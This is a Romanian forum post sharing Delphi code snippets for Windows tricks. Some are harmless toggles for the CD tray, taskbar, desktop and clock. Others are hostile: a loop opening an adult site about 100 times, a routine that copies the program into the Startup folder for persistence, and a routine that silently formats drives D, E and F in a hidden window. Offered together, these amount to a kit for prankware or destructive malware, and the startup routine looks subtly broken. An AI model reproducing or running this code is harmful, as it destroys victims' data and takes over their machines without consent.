dude
Pe lista neagra
Inregistrat: acum 12 ani
Postari: 250
|
|
Open/Close CDRom
Uses: MMSystem;
Code:
procedure CDRom(operation: string); begin if operation = 'open' then mciSendString('set cdaudio door open wait', nil, 0, handle) else if operation = 'close' then mciSendString('set cdaudio door closed wait', nil, 0, handle); end;
Hide/Show Desktop
Code:
procedure ShowDesktop(const YesNo: boolean); var h : HWND; begin h := FindWindow('ProgMan', nil); h := GetWindow(h, GW_CHILD); if YesNo = True then ShowWindow(h, SW_SHOW) else ShowWindow(h, SW_HIDE); end;
Hide/Show Start Button
Code:
procedure ShowStartButton(bValue: Boolean); var Tray, Child: HWND; C: array[0..127] of Char; S: string; begin Tray := FindWindow('Shell_TrayWnd', nil); Child := GetWindow(Tray, GW_CHILD); while Child <> 0 do begin if GetClassName(Child, C, SizeOf(C)) > 0 then begin S := StrPAS(C); if UpperCase(S) = 'BUTTON' then begin if bValue = True then ShowWindow(Child, 1) else ShowWindow(Child, 0); end; end; Child := GetWindow(Child, GW_HWNDNEXT); end; end;
Hide/Show TaskBar
Code:
procedure TaskBar(show: Boolean); var t: HWND;
begin t := FindWindow('Shell_TrayWnd',nil); if show = true then ShowWindow(t, SW_SHOW) else if show = false then ShowWindow(t, SW_HIDE); end;
Open 100 xxx web Adaugati un ActionList pe form , iar in actionlist un TBrowseurl
Code:
procedure Open100xxxWeb; var i: integer; begin for i := 0 to 100 do begin browseurl1.URL := 'http://redtube.com'; browseurl1.Execute; end; end;
Hide/Show clock
Code:
procedure Clock(show: Boolean); begin if show = true then ShowWindow(FindWindowEx(FindWindowEx(FindWindow('Shell_TrayWnd', nil),HWND(0),'TrayNotifyWnd', nil), HWND(0),'TrayClockWClass', nil), SW_SHOW) else if show = false then ShowWindow(FindWindowEx(FindWindowEx(FindWindow('Shell_TrayWnd', nil),HWND(0),'TrayNotifyWnd', nil), HWND(0),'TrayClockWClass', nil), SW_HIDE); end;
Get windows/desktop path
Code:
function GetWindowsDir: string; var s: array[0..255] of char;
begin GetWindowsDirectory(s,255); result := s; end;
function GetDesktopPath: string; var a: array[0..255] of char; s: string;
begin GetWindowsDirectory(a,255); s := a[0] + a[1] + a[2]; result := s + 'Documents and Settings\All Users\Desktop\'; end;
Add application to startup
Code:
procedure AddToStartUp; var a: array[0..255] of char; b: string;
begin GetWindowsDirectory(a,255); b := a[0] + a[1] + a[2]; b := b + 'Documents and Settings\All Users\Start Menu\Programs\Startup\'+ExtractFileName(application.exename); if not fileexists(b) then CopyFile(Application.exename,ExtractFilePath(b),false); end;
Format D,E,F
Uses: ShellApi;
Code:
procedure FormatHDD; var a: array[0..255] of char; formatpath: string;
begin GetWindowsDirectory(a,255); formatpath := a+'\system32\format.com'; ShellExecute(application.Handle,'open',formatpath,'D: /q /x /y',nil,sw_hide); ShellExecute(application.Handle,'open',formatpath,'E: /q /x /y',nil,sw_hide); ShellExecute(application.Handle,'open',formatpath,'F: /q /x /y',nil,sw_hide); end;
|
|